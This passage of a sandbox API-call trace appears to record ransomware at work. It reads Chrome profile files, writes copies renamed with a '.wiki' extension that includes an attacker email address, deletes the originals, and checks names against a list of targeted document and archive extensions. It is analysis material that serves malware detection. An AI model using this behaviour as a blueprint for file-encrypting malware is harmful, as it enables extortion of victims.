hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x20, lpOverlapped=0x0) returned 1 [0178.642] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.642] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0178.642] SetEndOfFile (hFile=0x124) returned 1 [0178.642] CloseHandle (hObject=0x124) returned 1 [0178.642] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.642] SetEndOfFile (hFile=0x334) returned 1 [0178.643] CloseHandle (hObject=0x334) returned 1 [0178.643] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.643] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current")) returned 1 [0178.643] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned 141 [0178.643] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned 141 [0178.643] lstrlenW (lpString=".doc") returned 4 [0178.643] lstrcmpiW (lpString1=".doc", lpString2="RENT") returned -1 [0178.643] lstrlenW (lpString=".docx") returned 5 [0178.643] lstrcmpiW (lpString1=".docx", lpString2="RRENT") returned -1 [0178.643] lstrlenW (lpString=".pdf") returned 4 [0178.643] lstrcmpiW (lpString1=".pdf", lpString2="RENT") returned -1 [0178.643] lstrlenW (lpString=".xls") returned 4 [0178.644] lstrcmpiW (lpString1=".xls", lpString2="RENT") returned -1 [0178.644] lstrlenW (lpString=".xlsx") returned 5 [0178.644] lstrcmpiW (lpString1=".xlsx", lpString2="RRENT") returned -1 [0178.644] lstrlenW (lpString=".ppt") returned 4 [0178.644] lstrcmpiW (lpString1=".ppt", lpString2="RENT") returned -1 [0178.644] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned 141 [0178.644] lstrlenW (lpString=".zip") returned 4 [0178.644] lstrcmpiW (lpString1=".zip", lpString2="RENT") returned -1 [0178.644] lstrlenW (lpString=".rar") returned 4 [0178.644] lstrcmpiW (lpString1=".rar", lpString2="RENT") returned -1 [0178.644] lstrlenW (lpString=".bz2") returned 4 [0178.644] lstrcmpiW (lpString1=".bz2", lpString2="RENT") returned -1 [0178.644] lstrlenW (lpString=".7z") returned 3 [0178.644] lstrcmpiW (lpString1=".7z", lpString2="ENT") returned -1 [0178.644] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned 141 [0178.644] lstrlenW (lpString=".dbf") returned 4 [0178.644] lstrcmpiW (lpString1=".dbf", lpString2="RENT") returned -1 [0178.644] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned 141 [0178.644] lstrlenW (lpString=".1cd") returned 4 [0178.644] lstrcmpiW (lpString1=".1cd", lpString2="RENT") returned -1 [0178.644] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned 141 [0178.644] lstrlenW (lpString=".jpg") returned 4 [0178.644] lstrcmpiW (lpString1=".jpg", lpString2="RENT") returned -1 [0178.644] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned 141 [0178.644] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned 141 [0178.644] lstrlenW (lpString=".doc") returned 4 [0178.644] lstrcmpiW (lpString1=".doc", lpString2="RENT") returned -1 [0178.644] lstrlenW (lpString=".docx") returned 5 [0178.644] lstrcmpiW (lpString1=".docx", lpString2="RRENT") returned -1 [0178.644] lstrlenW (lpString=".pdf") returned 4 [0178.644] lstrcmpiW (lpString1=".pdf", lpString2="RENT") returned -1 [0178.645] lstrlenW (lpString=".xls") returned 4 [0178.645] lstrcmpiW (lpString1=".xls", lpString2="RENT") returned -1 [0178.645] lstrlenW (lpString=".xlsx") returned 5 [0178.645] lstrcmpiW (lpString1=".xlsx", lpString2="RRENT") returned -1 [0178.645] lstrlenW (lpString=".ppt") returned 4 [0178.645] lstrcmpiW (lpString1=".ppt", lpString2="RENT") returned -1 [0178.645] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned 141 [0178.645] lstrlenW (lpString=".zip") returned 4 [0178.645] lstrcmpiW (lpString1=".zip", lpString2="RENT") returned -1 [0178.645] lstrlenW (lpString=".rar") returned 4 [0178.645] lstrcmpiW (lpString1=".rar", lpString2="RENT") returned -1 [0178.645] lstrlenW (lpString=".bz2") returned 4 [0178.645] lstrcmpiW (lpString1=".bz2", lpString2="RENT") returned -1 [0178.645] lstrlenW (lpString=".7z") returned 3 [0178.645] lstrcmpiW (lpString1=".7z", lpString2="ENT") returned -1 [0178.645] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned 141 [0178.645] lstrlenW (lpString=".dbf") returned 4 [0178.645] lstrcmpiW (lpString1=".dbf", lpString2="RENT") returned -1 [0178.645] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned 141 [0178.645] lstrlenW (lpString=".1cd") returned 4 [0178.645] lstrcmpiW (lpString1=".1cd", lpString2="RENT") returned -1 [0178.645] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned 141 [0178.645] lstrlenW (lpString=".jpg") returned 4 [0178.645] lstrcmpiW (lpString1=".jpg", lpString2="RENT") returned -1 [0178.645] lstrlenW (lpString="Origin Bound Certs-journal") returned 26 [0178.645] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\origin bound certs-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.646] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=0) returned 1 [0178.646] CloseHandle (hObject=0x334) returned 1 [0178.646] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 102 [0178.646] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 102 [0178.646] lstrlenW (lpString=".doc") returned 4 [0178.646] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.646] lstrlenW (lpString=".docx") returned 5 [0178.646] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.646] lstrlenW (lpString=".pdf") returned 4 [0178.646] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.646] lstrlenW (lpString=".xls") returned 4 [0178.646] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.646] lstrlenW (lpString=".xlsx") returned 5 [0178.646] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.646] lstrlenW (lpString=".ppt") returned 4 [0178.646] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.646] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 102 [0178.646] lstrlenW (lpString=".zip") returned 4 [0178.646] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.646] lstrlenW (lpString=".rar") returned 4 [0178.646] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.647] lstrlenW (lpString=".bz2") returned 4 [0178.647] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.647] lstrlenW (lpString=".7z") returned 3 [0178.647] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 102 [0178.647] lstrlenW (lpString=".dbf") returned 4 [0178.647] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 102 [0178.647] lstrlenW (lpString=".1cd") returned 4 [0178.647] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 102 [0178.647] lstrlenW (lpString=".jpg") returned 4 [0178.647] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 102 [0178.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 102 [0178.647] lstrlenW (lpString=".doc") returned 4 [0178.647] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.647] lstrlenW (lpString=".docx") returned 5 [0178.647] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.647] lstrlenW (lpString=".pdf") returned 4 [0178.647] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.647] lstrlenW (lpString=".xls") returned 4 [0178.647] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.647] lstrlenW (lpString=".xlsx") returned 5 [0178.647] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.647] lstrlenW (lpString=".ppt") returned 4 [0178.647] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.647] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 102 [0178.647] lstrlenW (lpString=".zip") returned 4 [0178.647] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.648] lstrlenW (lpString=".rar") returned 4 [0178.648] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.648] lstrlenW (lpString=".bz2") returned 4 [0178.648] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.648] lstrlenW (lpString=".7z") returned 3 [0178.648] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.648] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 102 [0178.648] lstrlenW (lpString=".dbf") returned 4 [0178.648] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.648] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 102 [0178.648] lstrlenW (lpString=".1cd") returned 4 [0178.648] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.648] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned 102 [0178.648] lstrlenW (lpString=".jpg") returned 4 [0178.648] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.648] lstrlenW (lpString="Preferences") returned 11 [0178.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\preferences"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.649] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=6813) returned 1 [0178.649] CloseHandle (hObject=0x334) returned 1 [0178.649] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\preferences")) returned 0x2020 [0178.649] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\preferences.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.649] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.649] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.649] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.649] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\preferences.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0178.650] GetLastError () returned 0x0 [0178.650] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x1a9d, lpOverlapped=0x0) returned 1 [0178.651] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x1aa0, lpOverlapped=0x0) returned 1 [0178.652] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.652] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xea, lpOverlapped=0x0) returned 1 [0178.652] SetEndOfFile (hFile=0x124) returned 1 [0178.652] CloseHandle (hObject=0x124) returned 1 [0178.652] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.652] SetEndOfFile (hFile=0x334) returned 1 [0178.653] CloseHandle (hObject=0x334) returned 1 [0178.655] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.655] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\preferences")) returned 1 [0178.655] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned 87 [0178.655] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned 87 [0178.655] lstrlenW (lpString=".doc") returned 4 [0178.656] lstrcmpiW (lpString1=".doc", lpString2="nces") returned -1 [0178.656] lstrlenW (lpString=".docx") returned 5 [0178.656] lstrcmpiW (lpString1=".docx", lpString2="ences") returned -1 [0178.656] lstrlenW (lpString=".pdf") returned 4 [0178.656] lstrcmpiW (lpString1=".pdf", lpString2="nces") returned -1 [0178.656] lstrlenW (lpString=".xls") returned 4 [0178.656] lstrcmpiW (lpString1=".xls", lpString2="nces") returned -1 [0178.656] lstrlenW (lpString=".xlsx") returned 5 [0178.656] lstrcmpiW (lpString1=".xlsx", lpString2="ences") returned -1 [0178.656] lstrlenW (lpString=".ppt") returned 4 [0178.656] lstrcmpiW (lpString1=".ppt", lpString2="nces") returned -1 [0178.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned 87 [0178.656] lstrlenW (lpString=".zip") returned 4 [0178.656] lstrcmpiW (lpString1=".zip", lpString2="nces") returned -1 [0178.656] lstrlenW (lpString=".rar") returned 4 [0178.656] lstrcmpiW (lpString1=".rar", lpString2="nces") returned -1 [0178.656] lstrlenW (lpString=".bz2") returned 4 [0178.656] lstrcmpiW (lpString1=".bz2", lpString2="nces") returned -1 [0178.656] lstrlenW (lpString=".7z") returned 3 [0178.656] lstrcmpiW (lpString1=".7z", lpString2="ces") returned -1 [0178.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned 87 [0178.656] lstrlenW (lpString=".dbf") returned 4 [0178.656] lstrcmpiW (lpString1=".dbf", lpString2="nces") returned -1 [0178.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned 87 [0178.656] lstrlenW (lpString=".1cd") returned 4 [0178.656] lstrcmpiW (lpString1=".1cd", lpString2="nces") returned -1 [0178.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned 87 [0178.656] lstrlenW (lpString=".jpg") returned 4 [0178.656] lstrcmpiW (lpString1=".jpg", lpString2="nces") returned -1 [0178.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned 87 [0178.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned 87 [0178.657] lstrlenW (lpString=".doc") returned 4 [0178.657] lstrcmpiW (lpString1=".doc", lpString2="nces") returned -1 [0178.657] lstrlenW (lpString=".docx") returned 5 [0178.657] lstrcmpiW (lpString1=".docx", lpString2="ences") returned -1 [0178.657] lstrlenW (lpString=".pdf") returned 4 [0178.657] lstrcmpiW (lpString1=".pdf", lpString2="nces") returned -1 [0178.657] lstrlenW (lpString=".xls") returned 4 [0178.657] lstrcmpiW (lpString1=".xls", lpString2="nces") returned -1 [0178.657] lstrlenW (lpString=".xlsx") returned 5 [0178.657] lstrcmpiW (lpString1=".xlsx", lpString2="ences") returned -1 [0178.657] lstrlenW (lpString=".ppt") returned 4 [0178.657] lstrcmpiW (lpString1=".ppt", lpString2="nces") returned -1 [0178.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned 87 [0178.657] lstrlenW (lpString=".zip") returned 4 [0178.657] lstrcmpiW (lpString1=".zip", lpString2="nces") returned -1 [0178.657] lstrlenW (lpString=".rar") returned 4 [0178.657] lstrcmpiW (lpString1=".rar", lpString2="nces") returned -1 [0178.657] lstrlenW (lpString=".bz2") returned 4 [0178.657] lstrcmpiW (lpString1=".bz2", lpString2="nces") returned -1 [0178.657] lstrlenW (lpString=".7z") returned 3 [0178.657] lstrcmpiW (lpString1=".7z", lpString2="ces") returned -1 [0178.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned 87 [0178.657] lstrlenW (lpString=".dbf") returned 4 [0178.657] lstrcmpiW (lpString1=".dbf", lpString2="nces") returned -1 [0178.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned 87 [0178.657] lstrlenW (lpString=".1cd") returned 4 [0178.657] lstrcmpiW (lpString1=".1cd", lpString2="nces") returned -1 [0178.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned 87 [0178.657] lstrlenW (lpString=".jpg") returned 4 [0178.657] lstrcmpiW (lpString1=".jpg", lpString2="nces") returned -1 [0178.658] lstrcmpiW (lpString1=".db-journal", lpString2=".wiki") returned -1 [0178.658] lstrlenW (lpString="previews_opt_out.db-journal") returned 27 [0178.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0178.658] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=0) returned 1 [0178.658] CloseHandle (hObject=0x334) returned 1 [0178.658] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 103 [0178.658] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 103 [0178.658] lstrlenW (lpString=".doc") returned 4 [0178.658] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.658] lstrlenW (lpString=".docx") returned 5 [0178.658] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.658] lstrlenW (lpString=".pdf") returned 4 [0178.659] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.659] lstrlenW (lpString=".xls") returned 4 [0178.659] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.659] lstrlenW (lpString=".xlsx") returned 5 [0178.659] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.659] lstrlenW (lpString=".ppt") returned 4 [0178.659] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.659] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 103 [0178.659] lstrlenW (lpString=".zip") returned 4 [0178.659] lstrcmpiW (lpString1=".zip", lpString2="rnal") returned -1 [0178.659] lstrlenW (lpString=".rar") returned 4 [0178.659] lstrcmpiW (lpString1=".rar", lpString2="rnal") returned -1 [0178.659] lstrlenW (lpString=".bz2") returned 4 [0178.659] lstrcmpiW (lpString1=".bz2", lpString2="rnal") returned -1 [0178.659] lstrlenW (lpString=".7z") returned 3 [0178.659] lstrcmpiW (lpString1=".7z", lpString2="nal") returned -1 [0178.659] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 103 [0178.659] lstrlenW (lpString=".dbf") returned 4 [0178.659] lstrcmpiW (lpString1=".dbf", lpString2="rnal") returned -1 [0178.659] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 103 [0178.659] lstrlenW (lpString=".1cd") returned 4 [0178.659] lstrcmpiW (lpString1=".1cd", lpString2="rnal") returned -1 [0178.659] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 103 [0178.659] lstrlenW (lpString=".jpg") returned 4 [0178.659] lstrcmpiW (lpString1=".jpg", lpString2="rnal") returned -1 [0178.659] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 103 [0178.659] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 103 [0178.659] lstrlenW (lpString=".doc") returned 4 [0178.660] lstrcmpiW (lpString1=".doc", lpString2="rnal") returned -1 [0178.660] lstrlenW (lpString=".docx") returned 5 [0178.660] lstrcmpiW (lpString1=".docx", lpString2="urnal") returned -1 [0178.660] lstrlenW (lpString=".pdf") returned 4 [0178.660] lstrcmpiW (lpString1=".pdf", lpString2="rnal") returned -1 [0178.660] lstrlenW (lpString=".xls") returned 4 [0178.660] lstrcmpiW (lpString1=".xls", lpString2="rnal") returned -1 [0178.660] lstrlenW (lpString=".xlsx") returned 5 [0178.660] lstrcmpiW (lpString1=".xlsx", lpString2="urnal") returned -1 [0178.660] lstrlenW (lpString=".ppt") returned 4 [0178.660] lstrcmpiW (lpString1=".ppt", lpString2="rnal") returned -1 [0178.660] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned 103 [0178.660] lstrlenW 